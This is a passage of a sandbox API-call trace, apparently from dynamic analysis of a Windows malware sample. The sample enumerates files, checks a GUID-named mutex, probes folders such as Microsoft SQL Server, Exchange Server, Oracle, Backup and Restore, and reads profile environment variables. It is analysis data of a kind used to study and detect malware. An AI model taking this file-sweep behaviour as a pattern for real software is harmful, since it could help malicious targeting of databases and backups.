ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0046.336] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.336] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.336] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.336] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.336] GlobalUnlock (hMem=0x44000c) returned 0 [0046.336] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.336] GlobalLock (hMem=0x440004) returned 0x555198 [0046.336] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.336] GlobalUnlock (hMem=0x44000c) returned 0 [0046.336] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.336] GlobalUnlock (hMem=0x440004) returned 0 [0046.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.336] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0046.336] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.336] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.336] GlobalLock (hMem=0x440004) returned 0x553188 [0046.336] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.336] GlobalUnlock (hMem=0x440004) returned 0 [0046.336] GlobalLock (hMem=0x440004) returned 0x553188 [0046.336] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.336] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.336] GlobalUnlock (hMem=0x440004) returned 0 [0046.336] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.336] GlobalUnlock (hMem=0x44000c) returned 0 [0046.336] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.336] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0046.336] GetLastError () returned 0x12 [0046.336] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.337] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0046.337] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.337] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.337] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.337] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.337] GlobalUnlock (hMem=0x44000c) returned 0 [0046.337] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.337] GlobalLock (hMem=0x440004) returned 0x554190 [0046.337] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.337] GlobalUnlock (hMem=0x44000c) returned 0 [0046.337] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.337] GlobalUnlock (hMem=0x440004) returned 0 [0046.337] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.337] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0046.337] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.337] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.337] GlobalLock (hMem=0x440004) returned 0x552180 [0046.337] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.337] GlobalUnlock (hMem=0x440004) returned 0 [0046.337] GlobalLock (hMem=0x440004) returned 0x552180 [0046.337] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.337] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.337] GlobalUnlock (hMem=0x440004) returned 0 [0046.338] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.338] GlobalUnlock (hMem=0x44000c) returned 0 [0046.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.338] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.338] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.338] GlobalUnlock (hMem=0x44000c) returned 0 [0046.338] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.338] GlobalLock (hMem=0x440004) returned 0x554190 [0046.338] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.338] GlobalUnlock (hMem=0x44000c) returned 0 [0046.338] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.338] GlobalUnlock (hMem=0x440004) returned 0 [0046.338] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.338] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", len=0x45 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned 1 [0046.338] GlobalLock (hMem=0x440004) returned 0x552180 [0046.338] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.338] GlobalUnlock (hMem=0x440004) returned 0 [0046.338] GlobalLock (hMem=0x440004) returned 0x552180 [0046.338] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.338] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.338] GlobalUnlock (hMem=0x440004) returned 0 [0046.338] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.338] GlobalUnlock (hMem=0x44000c) returned 0 [0046.338] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0046.339] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⍜R⌰R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0046.348] GetLastError () returned 0x3 [0046.348] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.348] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0046.349] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@⊤R企@\x18㿬Q\x181")) returned 0xffffffff [0046.350] GetLastError () returned 0x2 [0046.350] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.350] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0046.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@쏬R企@\x18?T\x18;")) returned 0xffffffff [0046.352] GetLastError () returned 0x2 [0046.352] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0046.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@⑴R企@\x18?T\x18D")) returned 0xffffffff [0046.354] GetLastError () returned 0x2 [0046.354] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0046.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@⊤R企@\x18쏬R\x18j")) returned 0xffffffff [0046.356] GetLastError () returned 0x2 [0046.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0046.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0046.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@⑴R企@\x18?T\x18q")) returned 0xffffffff [0046.358] GetLastError () returned 0x2 [0046.358] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\쏨RÐ") returned 6 [0046.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0046.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@숼R企@\x18?T\x18y")) returned 0xffffffff [0046.359] GetLastError () returned 0x2 [0046.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0046.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@ꐬR企@\x18?T\x18\x81")) returned 0xffffffff [0046.361] GetLastError () returned 0x2 [0046.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0046.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@⑴R企@\x18?T\x18\x88")) returned 0xffffffff [0046.363] GetLastError () returned 0x2 [0046.363] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.363] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0046.363] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@숼R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.365] GetLastError () returned 0x2 [0046.365] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.365] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.365] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0046.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="⎌R䱠@ꐬR企@\x18?T\x18\x97")) returned 0xffffffff [0046.366] GetLastError () returned 0x2 [0046.367] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.367] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.367] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.367] GlobalUnlock (hMem=0x44000c) returned 0 [0046.367] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.367] GlobalLock (hMem=0x440004) returned 0x554190 [0046.367] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.367] GlobalUnlock (hMem=0x44000c) returned 0 [0046.367] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.367] GlobalUnlock (hMem=0x440004) returned 0 [0046.367] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.367] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.367] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.367] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.367] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0046.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.368] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.368] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\") returned 0x46 [0046.368] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.368] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.368] GlobalLock (hMem=0x440004) returned 0x552180 [0046.368] GlobalHandle (pMem=0x552180) 